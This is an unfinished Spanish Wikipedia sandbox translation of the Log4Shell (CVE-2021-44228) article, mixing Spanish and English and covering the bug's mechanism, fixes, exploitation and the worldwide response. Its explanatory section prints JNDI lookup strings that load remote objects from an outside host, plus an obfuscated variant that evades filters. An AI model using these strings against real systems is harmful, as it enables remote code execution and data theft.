Usuario:Preocupante/Taller/Log4Shell

De Wikipedia, la enciclopedia libre

{{Infobox bug |name=Log4Shell |CVE={{CVE|2021-44228|link=no}} |discovered={{Start date and age|df=yes|2021|11|24}} |patched={{Start date and age|df=yes|2021|12|06}} |discoverer=Chen Zhaojun of the [[Alibaba Cloud]] Security Team<ref name="mcafee" /> |affected software=Applications logging user input using [[Log4j]] 2 |website= }} Log4Shell (CVE-2021-44228) es una vulnerabilidad que permite ataques de día cero por medio de Log4j, una popular biblioteca de gestión de registros en Java, que permite la ejecución arbitraria de código.[1]​[2]​ La vulnerabilidad ha existido sin ser detectada desde el año 2013, y fue comunicada de forma privada a la Apache Software Foundation (de la cual Log4j es un proyecto) por Chen Zhaojun, del equipo de seguridad de Alibaba Cloud, el 24 de noviembre de 2021. Se hizo pública el 9 de diciembre de 2021.[3]​[4]​[5]​[6]​ Apache calificó Log4Shell como un 10 dentro de la escala de severidad de CVSS, la mayor puntuación posible.[7]​ Se ha estimado que la vulnerabilidad afecta a cientos de millones de dispositivos y es fácil de llevar a cabo.[6]​[8]​

La vulnerabilidad aprovecha que Log4j permite enviar solicitudes a cualquier servidor de LDAP y JNDI sin comprobar siquiera las respuestas,[1]​[9]​[10]​ lo que permite a los atacantes ejecutar código arbitrario de Java en un servidor u ordenador, o filtrar información sensible.[5]​ El equipo de seguridad de Apache ha publicado una lista de proyectos de software afectados.[11]​ Entre los servicios comerciales afectados están Amazon Web Services,[12]​ Cloudflare, iCloud,[13]​ Minecraft: Java Edition,[14]​ Steam, Tencent QQ y muchos otros.[9]​[15]​[16]​ Según Wiz y EY, la vulnerabilidad ha llegado a afectar al 93 % of de entornos corporativos en la nube.[17]​

Hay expertos que consideran que Log4Shell es la mayor vulnerabilidad de la historia.[8]​ LunaSec la categorizó como un «fallo de diseño de proporciones catastróficas»,[5]​ Tenable dijo que es «la mayor y más crítica vulnerabilidad de todos los tiempos»,[18]​ Ars Technica declaró «podría decirse que es la vulnerabilidad más grave [que ha habido nunca]»[19]​ y The Washington Post describió las reacciones de los profesionales de ciberseguridad como «casi apocalípticas».[8]​

Antecedentes[editar]

Artículo principal: Log4j

Log4j es una biblioteca de código abierto que permite a los desarrolladores escribir mensajes de registro en sus programas. Estos mensajes pueden incluir información introducida por usuarios.[20]​ Su uso está muy extendido en el ámbito de los programas desarrollados usando Java, especialmente en entornos corporativos.[5]​ Desarrollada en 2001 por Ceki Gülcü, forma parte en la actualidad de Apache Logging Services, un proyecto de la Apache Software Foundation.[21]​ Tom Kellermann, miembro de la comisión de ciberseguridad durante el mandato del presidente estadounidense Barack Obama, ha descrito Apache como «uno de los enormes pilares de un puente que facilita los tejidos que conectan el mundo de las aplicaciones y entornos de ordenador».[22]​

Comportamiento[editar]

Este artículo o sección se está traduciendo desde otro idioma. Por esta razón, puede haber lagunas de contenidos, errores sintácticos o escritos sin traducir. Puedes colaborar con Wikipedia continuando con la traducción desde el artículo original.

La Interfaz de Nombrado y Directorio Java (Java Naming and Directory Interface, JNDI) permite la búsqueda de objetos de Java mientras se ejecuta el programa a partir de la ruta sus los datos. JNDI puede aprovechar varias interfaces de directorio, y cada una de ellas ofrece una manera distinya de encontrar archivos. Entre las interfaces está el protocolo ligero de acceso a directorios (Lightweight Directory Access Protocol, LDAP), un protocolo no específico de Java [23]​ que .

The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol[23]​ which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.[24]​

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}.[24]​ For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67.[25]​ Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL.[24]​ Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker's server.[26]​[27]​ Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).[28]​[29]​

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${jndi.[30]​ Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j.[31]​ Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.[24]​

Mitigation[editar]

Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1.[32]​[33]​[34]​ The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups.[35]​[36]​ For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities.[7]​[35]​ An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true, but this change does not prevent exploitation of CVE-2021-45046.[35]​

Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications.[1]​[26]​[37]​[38]​ Several methods and tools have been published to help detect the usage of vulnerable log4j versions in built Java packages.[39]​

Usage[editar]

The exploit allows hackers to gain control of vulnerable devices using Java.[6]​ Some hackers employ the vulnerability to utilize the capabilities of the victims' devices; uses included cryptocurrency mining, creating botnets, sending spam, establishing backdoors and other illegal activities such as ransomware attacks.[6]​[8]​[40]​ In the days following the publication of the vulnerability, Check Point monitored millions of attacks being initiated by hackers, with some researchers observing a rate of over one hundred attacks per minute that ultimately resulted with over 40% of business networks being attacked internationally.[6]​[22]​

According to Cloudflare CEO Matthew Prince, evidence for usage or testing of the exploit goes back as early as 1 December, nine days before it was publicly disclosed.[41]​ According to cybersecurity firm GreyNoise, several IP addresses were scraping websites to check for servers that had the vulnerability.[42]​ Several botnets began scanning for the vulnerability, including the Muhstik botnet by 10 December, as well as Mirai, Tsunami and XMRig.[6]​[41]​[43]​ Conti was observed using the vulnerability on 17 December.[8]​

Some state-sponsored groups in China and Iran also utilized the exploit according to Check Point, though it is not known if the exploit was used by Israel, Russia or the United States prior to the disclosure of the vulnerability.[8]​[18]​ Check Point said that on 15 December 2021, hackers backed by Iran attempted to infiltrate the networks of businesses and the government in Israel.[8]​

Response and impact[editar]

Governmental[editar]

In the United States, the director of the Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly, described the exploit as "one of the most serious I've seen in my entire career, if not the most serious", explaining that hundreds of millions of devices were affected and advising vendors to prioritize software updates.[6]​[44]​[40]​ Civilian agencies contracted by the United States government had until 24 December 2021 to patch vulnerabilities, though this would have already allowed access to hundreds of thousands of targets by that date.[8]​

The Canadian Centre for Cyber Security (CCCS) called on organizations to take on immediate action.[45]​ The Canada Revenue Agency temporarily shut down its online services after learning of the exploit, while the Government of Quebec closed almost 4,000 of its websites as a "preventative measure."[46]​

Germany's Bundesamt für Sicherheit in der Informationstechnik (BSI) designated the exploit as being at the agency's highest threat level, calling it an "extremely critical threat situation" (translated). It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess.[47]​[48]​ The Netherlands's National Cyber Security Centre (NCSC) began an ongoing list of vulnerable applications.[49]​[50]​

The Chinese Ministry of Industry and Information Technology suspended work with Alibaba Cloud as a cybersecurity threat intelligence partner for six months for failing to report the vulnerability to the government first.[51]​

Businesses[editar]

Research conducted by Wiz and EY[17]​ showed that 93% of the cloud enterprise environment were vulnerable to Log4Shell. 7% of vulnerable workloads are exposed to the internet and prone to wide exploitation attempts. According to the research, ten days after the publication of the vulnerability (December 20, 2021) only 45% of vulnerable workloads were patched on average in cloud environments. Amazon, Google and Microsoft cloud data was affected by Log4Shell.[8]​

The human resource management and workforce management company UKG, one of the largest businesses in the industry, was targeted by a ransomware attack that affected large businesses.[19]​[52]​ UKG said it did not have evidence of Log4Shell being exploited in the incident, though analyst Allan Liska from cybersecurity company Recorded Future said there was possibly a connection.[52]​

As larger companies began to release patches for the exploit, the risk for small businesses increased as hackers focused on more vulnerable targets.[40]​

Privacy[editar]

Personal devices such as Smart TVs and security cameras connected to the internet were vulnerable to the exploit.[8]​

Analysis[editar]

A 2021 de diciembre del 14 almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within twenty-four hours.[53]​ Check Point Software Technologies in a detailed analysis described the situation as being "a true cyber-pandemic" and characterizing the potential for damage as being "incalculable".[54]​ Several initial advisories exaggerated the amount of packages that were vulnerable, leading to false positives. Most notably, the "log4j-api" package was marked as vulnerable, while in reality further research showed that only the main "log4j-core" package was vulnerable. This was confirmed both in the original issue thread[55]​ and by external security researchers.[56]​

Technology magazine Wired wrote that despite the previous "hype" surrounding multiple vulnerabilities, "the Log4j vulnerability ... lives up to the hype for a host of reasons".[18]​ The magazine explains that the pervasiveness of Log4j, the vulnerability being difficult to detect by potential targets and the ease of transmitting code to victims created a "combination of severity, simplicity, and pervasiveness that has the security community rattled".[18]​ Wired also outlined stages of hackers using Log4Shell; cryptomining groups first using the vulnerability, data brokers then sell a "foothold" to cybercriminals, who finally go on to engage in ransomware attacks, espionage and destroying data.[18]​

Amit Yoran, CEO of Tenable and the founding director of the United States Computer Emergency Readiness Team, stated "[Log4Shell] is by far the single biggest, most critical vulnerability ever", noting that sophisticated attacks were beginning shortly after the bug, saying "We're also already seeing it leveraged for ransomware attacks, which, again, should be a major alarm bell ... We've also seen reports of attackers using Log4Shell to destroy systems without even looking to collect ransom, a fairly unusual behavior".[18]​ Sophos's senior threat researcher Sean Gallagher said, "Honestly, the biggest threat here is that people have already gotten access and are just sitting on it, and even if you remediate the problem somebody's already in the network ... It's going to be around as long as the Internet."[18]​

References[editar]

  1. ↑ a b c Wortley, Free; Thrompson, Chris; Allison, Forrest (9 December 2021). «Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package». LunaSec (en inglés). Consultado el 12 December 2021. 
  2. ↑ «CVE-2021-44228». Common Vulnerabilities and Exposures. Consultado el 12 December 2021. 
  3. ↑ Povolny, Steve; McKee, Douglas (10 December 2021). «Log4Shell Vulnerability is the Coal in our Stocking for 2021». McAfee (en inglés). Consultado el 12 December 2021. 
  4. ↑ «Worst Apache Log4j RCE Zero day Dropped on Internet». Cyber Kendra. 9 December 2021. Consultado el 12 December 2021. 
  5. ↑ a b c d Newman, Lily Hay (10 December 2021). «'The Internet Is on Fire'». Wired (en inglés estadounidense). ISSN 1059-1028. Consultado el 12 December 2021. 
  6. ↑ a b c d e f g Murphy, Hannah (14 de diciembre de 2021). «Hackers launch more than 1.2m attacks through Log4J flaw». Financial Times. Consultado el 17 de diciembre de 2021. 
  7. ↑ a b «Apache Log4j Security Vulnerabilities». Log4j. Apache Software Foundation. Consultado el 12 December 2021. 
  8. ↑ a b c d e f g h i j Hunter, Tatum; de Vynck, Gerrit (20 December 2021). «The 'most serious' security breach ever is unfolding right now. Here's what you need to know.». The Washington Post.  Parámetro desconocido |url-status= ignorado (ayuda)
  9. ↑ a b Mott, Nathaniel (10 December 2021). «Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit». PC Magazine (en inglés). Consultado el 12 December 2021. 
  10. ↑ Goodin, Dan (10 December 2021). «Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet». Ars Technica (en inglés estadounidense). Consultado el 12 December 2021. 
  11. ↑ «Apache projects affected by log4j CVE-2021-44228». 14 December 2021.  Parámetro desconocido |url-status= ignorado (ayuda)
  12. ↑ «Update for Apache Log4j2 Issue (CVE-2021-44228)». Amazon Web Services. 12 December 2021. 
  13. ↑ Lovejoy, Ben (14 December 2021). «Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade». 9to5mac. 
  14. ↑ «Security Vulnerability in Minecraft: Java Edition». Minecraft. Mojang Studios. Consultado el 13 December 2021. 
  15. ↑ Goodin, Dan (10 December 2021). «The Internet's biggest players are all affected by critical Log4Shell 0-day». ArsTechnica. Consultado el 13 December 2021. 
  16. ↑ Rundle, David Uberti and James (15 December 2021). «What Is the Log4j Vulnerability?». Wall Street Journal – via www.wsj.com. 
  17. ↑ a b «Enterprises halfway through patching Log4Shell | Wiz Blog». www.wiz.io. Consultado el 20 de diciembre de 2021. 
  18. ↑ a b c d e f g Barrett, Brian. «The Next Wave of Log4J Attacks Will Be Brutal». Wired (en inglés estadounidense). ISSN 1059-1028. Consultado el 17 de diciembre de 2021. 
  19. ↑ a b Goodin, Dan (13 de diciembre de 2021). «As Log4Shell wreaks havoc, payroll service reports ransomware attack». Ars Technica (en inglés estadounidense). Consultado el 17 de diciembre de 2021.  Parámetro desconocido |url-status= ignorado (ayuda)
  20. ↑ Yan, Tao; Deng, Qi; Zhang, Haozhe; Fu, Yu; Grunzweig, Josh (10 December 2021). «Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)». Unit 42. Palo Alto Networks. 
  21. ↑ «Apache Log4j 2». Apache Software Foundation. Consultado el 12 December 2021. 
  22. ↑ a b Byrnes, Jesse (14 de diciembre de 2021). «Hillicon Valley — Apache vulnerability sets off alarm bells». TheHill (en inglés). Consultado el 17 de diciembre de 2021.  Parámetro desconocido |url-status= ignorado (ayuda)
  23. ↑ a b {{cite RFC|last=Sermersheim|first=J.|title=Lightweight Directory Access Protocol (LDAP): The Protocol|rfc=rfc4511|doi=10.17487/RFC4513|publisher=International Electronic Task Force|access-date=13 December 2021|date=June 2006}}
  24. ↑ a b c d Graham-Cumming, John (10 December 2021). «Inside the Log4j2 vulnerability (CVE-2021-44228)». The Cloudflare Blog (en inglés). Consultado el 13 December 2021. 
  25. ↑ «Lookups». Log4j. Apache Software Foundation. Consultado el 13 December 2021. 
  26. ↑ a b Ducklin, Paul (12 December 2021). «Log4Shell explained – how it works, why you need to know, and how to fix it». Naked Security. Sophos. Consultado el 12 December 2021. 
  27. ↑ Miessler, Daniel (13 December 2021). «The log4j (Log4Shell) Situation». Unsupervised Learning. 
  28. ↑ Duraishamy, Ranga; Verma, Ashish; Ang, Miguel Carlo (13 December 2021). «Patch Now Apache Log4j Vulnerability Called Log4Shell Actively Exploited». Trend Micro. Consultado el 14 December 2021. 
  29. ↑ Narang, Satnam (10 December 2021). «CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell)». Tenable Blog. Consultado el 14 December 2021. 
  30. ↑ Gabor, Gabriel; Bluehs, Gabriel (10 December 2021). «CVE-2021-44228 - Log4j RCE 0-day mitigation». The Cloudflare Blog. Consultado el 13 December 2021. 
  31. ↑ Hahad, Mounir (12 December 2021). «Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns». Consultado el 12 December 2021. 
  32. ↑ «Restrict LDAP access via JNDI by rgoers #608». Log4j (en inglés). 5 December 2021. Consultado el 12 December 2021 – via GitHub. 
  33. ↑ Berger, Andreas (17 December 2021). «What is Log4Shell? The Log4j vulnerability explained (and what to do about it)». Dynatrace news. «Apache issued a patch for CVE-2021-44228, version 2.15, on December 6. However, this patch left part of the vulnerability unfixed, resulting in CVE-2021-45046 and a second patch, version 2.16, released on December 13. Apache released a third patch, version 2.17, on December 17 to fix another related vulnerability, CVE-2021-45105.» 
  34. ↑ Rudis, boB (10 December 2021). «Widespread Exploitation of Critical Remote Code Execution in Apache Log4j | Rapid7 Blog». Rapid7 (en inglés). 
  35. ↑ a b c «CVE-2021-45046». Common Vulnerabilities and Exposures. 15 December 2021. Consultado el 15 December 2021. 
  36. ↑ Greig, Jonathan (14 December 2021). «Second Log4j vulnerability discovered, patch already released». ZDNet (en inglés). Consultado el 17 December 2021. 
  37. ↑ «Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes» (en inglés). Oracle. 17 January 2017. Consultado el 13 December 2021. 
  38. ↑ «Exploiting JNDI Injections in Java». Veracode. 3 de enero de 2019. Consultado el 15 de diciembre de 2021. 
  39. ↑ «Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)». www.lunasec.io (en inglés). 13 December 2021. Consultado el 13 December 2021. 
  40. ↑ a b c Woodyard, Chris. «'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw». USA Today (en inglés estadounidense). Consultado el 17 de diciembre de 2021.  Parámetro desconocido |url-status= ignorado (ayuda) Error en la cita: Etiqueta <ref> no válida; el nombre «:2» está definido varias veces con contenidos diferentes
  41. ↑ a b Duckett, Chris. «Log4j RCE activity began on 1 December as botnets start using vulnerability». ZDNet (en inglés). Consultado el 13 December 2021. 
  42. ↑ «Exploit activity for Apache Log4j vulnerability - CVE-2021-44228». Greynoise Research. 10 December 2021. Consultado el 14 December 2021. 
  43. ↑ Zugec, Martin (13 December 2021). «Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild». Business Insights. Bitdefender. 
  44. ↑ «Statement from CISA Director Easterly on "Log4j" Vulnerability». CISA. 11 December 2021. 
  45. ↑ «Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action». Government of Canada (en inglés). 12 December 2021. 
  46. ↑ Cabrera, Holly (12 December 2021). «Facing cybersecurity threats, Quebec shuts down government websites for evaluation». CBC News. Consultado el 12 December 2021. 
  47. ↑ Sauerwein, Jörg (12 December 2021). «BSI warnt vor Sicherheitslücke». Tagesschau (en alemán). 
  48. ↑ «Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage» [Red alarm: Log4Shell vulnerability causes extremely critical threat situation] (en alemán). Federal Office for Information Security. 11 December 2021. 
  49. ↑ J. Vaughan-Nichols, Steven (14 December 2021). «Log4Shell: We Are in So Much Trouble». The New Stack. 
  50. ↑ «NCSC-NL/log4shell». National Cyber Security Centre (Netherlands). Consultado el 14 December 2021 – via GitHub. 
  51. ↑ «Apache Log4j bug: China's industry ministry pulls support from Alibaba Cloud for not reporting flaw to government first». 22 December 2021. 
  52. ↑ a b Bray, Hiawatha (15 December 2021). «Emerging 'Log4j' software bug spawns worldwide worry over cyber attacks - The Boston Globe». The Boston Globe (en inglés estadounidense). Consultado el 17 de diciembre de 2021.  Parámetro desconocido |url-status= ignorado (ayuda) Error en la cita: Etiqueta <ref> no válida; el nombre «:3» está definido varias veces con contenidos diferentes
  53. ↑ «Almost half of networks probed for Log4Shell weaknesses». ComputerWeekly. 14 December 2021. 
  54. ↑ «The numbers behind a cyber pandemic – detailed dive». Check Point Software. 13 December 2021. 
  55. ↑ «LOG4J2-3201: Limit the protocols JNDI can use and restrict LDAP.». Apache's JIRA issue tracker. Consultado el 14 December 2021. 
  56. ↑ Menashe, Shachar (13 December 2021). «Log4Shell 0-Day Vulnerability: All You Need To Know». JFrog Blog (en inglés). Consultado el 13 December 2021. 

External links[editar]


[[Categoría:2021 in computing]] [[Categoría:Injection exploits]]

Obtenido de «https://es.wikipedia.org/w/index.php?title=Usuario:Preocupante/Taller/Log4Shell&oldid=146734429»